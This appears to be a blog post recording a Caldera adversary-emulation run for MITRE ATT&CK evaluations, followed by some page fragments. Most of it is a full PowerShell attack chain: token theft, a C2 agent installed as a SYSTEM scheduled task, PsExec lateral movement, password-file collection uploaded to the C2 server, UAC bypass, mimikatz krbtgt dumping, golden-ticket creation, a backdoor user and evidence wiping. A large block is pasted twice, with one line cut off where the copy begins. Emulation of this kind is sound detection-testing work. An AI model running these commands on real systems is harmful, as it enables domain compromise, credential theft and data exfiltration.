. .\psversion.ps1;
Ad-Search Computer Name *;
Invoke-Command -ComputerName "$(hostname)" -ScriptBlock { Get-Process -IncludeUserName | Select-Object UserName,SessionId | Where-Object { $_.UserName -like "*\$env:USERNAME" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId -Last 1;
Import-Module .\StealToken.ps1 -Verbose -Force;
StealToken;
CreateProcessWithToken -CommandLine 'cmd.exe /c reg query "\\#{remote.file.share}\hklm\system\currentcontrolset\control\terminal server"';
CreateProcessWithToken -CommandLine 'cmd.exe /c schtasks /create /tn "Resume Viewer Update Checker" /tr ".\sandcat.exe #{server} evals" /sc ONLOGON /RU SYSTEM';
CreateProcessWithToken -CommandLine 'cmd.exe /c dir /s /b #{remote.file.share}';
CreateProcessWithToken -CommandLine 'cmd.exe /c tree %USERPROFILE%';
RevertToSelf;
move-item sandcat.go-windows-upx C:\Windows\temp\python.exe -force;
set-location "C:\Program Files\SysinternalsSuite\";
.\PsExec64.exe -accepteula \\#{pivot_machine_hostname} -i #{user.session.id} -d -f -c "C:\Windows\Temp\python.exe" -group "day-1-lateral-movement" -server "#{server}";
tasklist /S #{pivot_machine_hostname} /FI "IMAGENAME eq python.exe";
Import-Module .\Get-Screenshot.ps1 -Verbose -Force;
Get-Screenshot;
ls #{remote.file.share}
move-item Rar.exe -Destination C:\Windows\Temp -Force;
$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\working.zip -Force;
cd C:\Windows\Temp;
.\Rar.exe a -hpfGzq5yKw "$env:USERPROFILE\Desktop\working.zip" "$env:APPDATA\working.zip";
Import-Module .\upload.ps1 -Verbose -Force;
Invoke-MultipartFormDataUpload -InFile "C:\Users\#{profile_user}\Desktop\working.zip" -Uri "#{server}/file/upload";
if (!$(test-path -path "C:\Program Files\SysInternalsSuite")) {
  mkdir "C:\Program Files\SysInternalsSuite";
}
set-location "C:\Program Files\SysInternalsSuite";

if (!$(test-path -path "sdelete64.exe")) {
  iwr -uri "https://download.sysinternals.com/files/SDelete.zip" -outfile sdelete64.zip;
  Expand-Archive sdelete64.zip -force;
}
copy sdelete64.exe C:\Windows\Temp\;
cd C:\Windows\Temp\ ;
.\sdelete64.exe /accepteula C:\Windows\Temp\Rar.exe;
.\sdelete64.exe /accepteula C:\Users\#{profile_user}\AppData\Roaming\working.zip;
.\sdelete64.exe /accepteula C:\Users\#{profile_user}\Desktop\working.zip;
remove-item C:\Windows\Temp\sdelete64.exe -force;
write-host "[*] Restarting Computer";
Restart-Computer -Force;
Remove-Item -Path "$env:USERPROFILE\Downloads\*.pfx" -Force;
Remove-Item -Path "$env:USERPROFILE\Downloads\*.bmp" -Force;
Remove-Item -Path "$env:USERPROFILE\Downloads\*.png" -Force;
if (test-path -path "$env:APPDATA\OfficeSupplies.7z") {
    Remove-Item -Path "$env:APPDATA\OfficeSupplies.7z" -Force; write-host "[+] Successfully removed OfficeSupplies.7z";
} else {
    write-host "[!] File did not exist to be removed!";
}

if (get-job -name "Keystrokes" -ErrorAction SilentlyContinue) {
    Remove-Job -Name "Keystrokes";
    if ($?) {
        write-host "[+] Job \"Keystrokes\" was remove.";
    }
} else {
    write-host "[!] Job \"Keystrokes\" did not exist.";
}

if (get-job -Name "Screenshot" -ErrorAction SilentlyContinue) {
    Remove-Job -Name "Screenshot" -Force;
    write-host "[+] Job \"screenshot\" was removed.";
} else {
    write-host "[*] Job \"screenshot\" does not exist, thus was not removed.";
}
remove-item upload.ps1 -Force;
cmdkey /add:127.0.0.2 /user:#{profile_user} /pass:#{profile_user_password};
mstsc /v:127.0.0.2;
sleep 10;
Get-Process -name mstsc;
if ($?) { taskkill.exe /F /IM mstsc.exe; exit 0; } else {exit 1;}
Set-Location -Path "C:\Users\#{profile_user_day2}\Desktop";

if(Test-Path -LiteralPath "$env:appdata\Microsoft\kxwn.lock"){
  Remove-Item "$env:appdata\Microsoft\kxwn.lock" -Force;
  Write-Host "Removed old kxwn.lock file";
}

powershell.exe Get-Content '.\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX;
if (!(test-path -path "$env:appdata\Microsoft\kxwn.lock")) {
  write-host "[!] kxwn.lock was not found on this host.";
  exit 1;
} else {
  . .\timestomp.ps1;
  timestomp -dest "$env:appdata\Microsoft\kxwn.lock";
}
. .\stepTwelve.ps1;
detectav
. .\stepTwelve.ps1;
software;
. .\stepThirteen.ps1;
comp;
. .\stepThirteen.ps1;
domain;
. .\stepThirteen.ps1;
user;
. .\stepThirteen.ps1;
pslist;
. .\stepFourteen_bypassUAC.ps1;
bypass;
. .\stepFourteen_credDump.ps1;
write-host "[+] Successfully downloaded m.exe";
Get-WmiObject -Namespace "root/subscription" -list | findstr /i "__Filter";
if ($?) {
  write-host "[*] WMI script has already executed on this machine. Not loading and executing wmi script.";
  exit 1;
} else {
  . .\stepFifteen_wmi.ps1;
  wmi;
  if ($?) {
    write-host "[+] WMI script has successfully executed!";
    exit 0;
  }
  exit 1;
}
. .\powerview.ps1;
get-netdomaincontroller;
. .\stepSixteen_SID.ps1;
siduser;
. .\invoke-winrmsession.ps1;
$session = invoke-winrmsession -Username "#{target.winrm.username}" -Password "#{target.winrm.password}" -IPAddress "#{target.winrm.remote_host}";
Copy-Item m.exe -Destination "C:\Windows\System32\\" -ToSession $session -force;
if ($?) {
  write-host "[+] Successfully copied m.exe to remote host";
} else {
  write-host "[!] Error, copying and executing m.exe on remote host";
}
Invoke-Command -Session $session -scriptblock {C:\Windows\System32\m.exe privilege::debug "lsadump::lsa /inject /name:krbtgt" exit} | out-string
. .\stepSeventeen_email.ps1;
Write-Host "Emails Collected";
try{
  if (!(test-path -path "C:\Windows\Temp\WindowsParentalControlMigration" -ErrorAction Stop)) {
    New-Item -Path "C:\Windows\temp\" -Name "WindowsParentalControlMigration" -ItemType "directory" -force;
  }
} catch {
  write-host "[!] Access is denied. Manually browse to C:\Windows\Temp via Explorer and accept prompt";
  exit 1;
}

if (! (test-path -path "C:\Users\#{profile_user_day2}\Documents\MITRE-ATTACK-EVALS.HTML")) {
  write-host "[!] Error, MITRE-ATTACK-EVALS.HTML was not found.";
  exit 1;
}
Copy-Item "C:\Users\#{profile_user_day2}\Documents\MITRE-ATTACK-EVALS.HTML" -Destination "C:\Windows\Temp\WindowsParentalControlMigration" -force;
. .\stepSeventeen_zip.ps1;
zip C:\Windows\Temp\WindowsParentalControlMigration.tmp C:\Windows\Temp\WindowsParentalControlMigration;
if ($?) {
  write-host "[+] Documents successfully staged for collection.";
}
$err = $(net use y: #{onedrive.url} /user:#{onedrive.username} "#{onedrive.password}" 2>&1);
if($err -Like "*System error 85*") {
  Write-Host "OneDrive net drive is already mounted!";
} elseif($err -Like "*System error 67*") {
  Write-Host "OneDrive net drive mount failed - Check URL!";
  Write-Host "#{onedrive.url}";
  exit 1;
} elseif($err -Like "*System error 1244*") {
  Write-Host "Could not authenticate to OneDrive - Check Creds!";
  Write-Host "User: #{onedrive.username}";
  Write-Host "Password: #{onedrive.password}";
  exit 1;
}

Write-Host "Mount Successful"
Copy-Item "C:\Windows\Temp\WindowsParentalControlMigration.tmp" -Destination "y:\WindowsParentalCo. .\powerview.ps1;
get-netdomaincontroller;
. .\stepSixteen_SID.ps1;
siduser;
. .\invoke-winrmsession.ps1;
$session = invoke-winrmsession -Username "#{target.winrm.username}" -Password "#{target.winrm.password}" -IPAddress "#{target.winrm.remote_host}";
Copy-Item m.exe -Destination "C:\Windows\System32\\" -ToSession $session -force;
if ($?) {
  write-host "[+] Successfully copied m.exe to remote host";
} else {
  write-host "[!] Error, copying and executing m.exe on remote host";
}
Invoke-Command -Session $session -scriptblock {C:\Windows\System32\m.exe privilege::debug "lsadump::lsa /inject /name:krbtgt" exit} | out-string
. .\stepSeventeen_email.ps1;
Write-Host "Emails Collected";
try{
  if (!(test-path -path "C:\Windows\Temp\WindowsParentalControlMigration" -ErrorAction Stop)) {
    New-Item -Path "C:\Windows\temp\" -Name "WindowsParentalControlMigration" -ItemType "directory" -force;
  }
} catch {
  write-host "[!] Access is denied. Manually browse to C:\Windows\Temp via Explorer and accept prompt";
  exit 1;
}

if (! (test-path -path "C:\Users\#{profile_user_day2}\Documents\MITRE-ATTACK-EVALS.HTML")) {
  write-host "[!] Error, MITRE-ATTACK-EVALS.HTML was not found.";
  exit 1;
}
Copy-Item "C:\Users\#{profile_user_day2}\Documents\MITRE-ATTACK-EVALS.HTML" -Destination "C:\Windows\Temp\WindowsParentalControlMigration" -force;
. .\stepSeventeen_zip.ps1;
zip C:\Windows\Temp\WindowsParentalControlMigration.tmp C:\Windows\Temp\WindowsParentalControlMigration;
if ($?) {
  write-host "[+] Documents successfully staged for collection.";
}
$err = $(net use y: #{onedrive.url} /user:#{onedrive.username} "#{onedrive.password}" 2>&1);
if($err -Like "*System error 85*") {
  Write-Host "OneDrive net drive is already mounted!";
} elseif($err -Like "*System error 67*") {
  Write-Host "OneDrive net drive mount failed - Check URL!";
  Write-Host "#{onedrive.url}";
  exit 1;
} elseif($err -Like "*System error 1244*") {
  Write-Host "Could not authenticate to OneDrive - Check Creds!";
  Write-Host "User: #{onedrive.username}";
  Write-Host "Password: #{onedrive.password}";
  exit 1;
}

Write-Host "Mount Successful"
Copy-Item "C:\Windows\Temp\WindowsParentalControlMigration.tmp" -Destination "y:\WindowsParentalControlMigration.tmp" -Force;
if(!$?){
  exit 1;
}

Write-Host "Copy Successfull"
exit 0;
. .\wipe.ps1;
wipe "m.exe";
wipe "C:\Windows\Temp\WindowsParentalControlMigration.tmp";
wipe "C:\Windows\Temp\WindowsParentalControlMigration\MITRE-ATTACK-EVALS.HTML";
klist purge;
. .\Invoke-Mimikatz.ps1;
invoke-mimikatz -command "kerberos::golden /domain:#{target.domain.name} /sid:#{target.sid}  /rc4:#{target.ntlm} /user:#{target.winrm.username} /ptt";
klist;
invoke-command -ComputerName scranton -ScriptBlock {net user /add toby "pamBeesly<3"};
Restart-Computer -Force;

Checking the Event Logs:

Checking the Report

Screenshot Caldera Operation Dashboard

Virtualbox, Elasticsearch, Fleet

research networking

This post is licensed under CC BY 4.0 by the author.

Sequence of actions

Windows Commands extracted

Checking the Event Logs:

Checking the Report

Screenshot Caldera Operation Dashboard

Trending Tags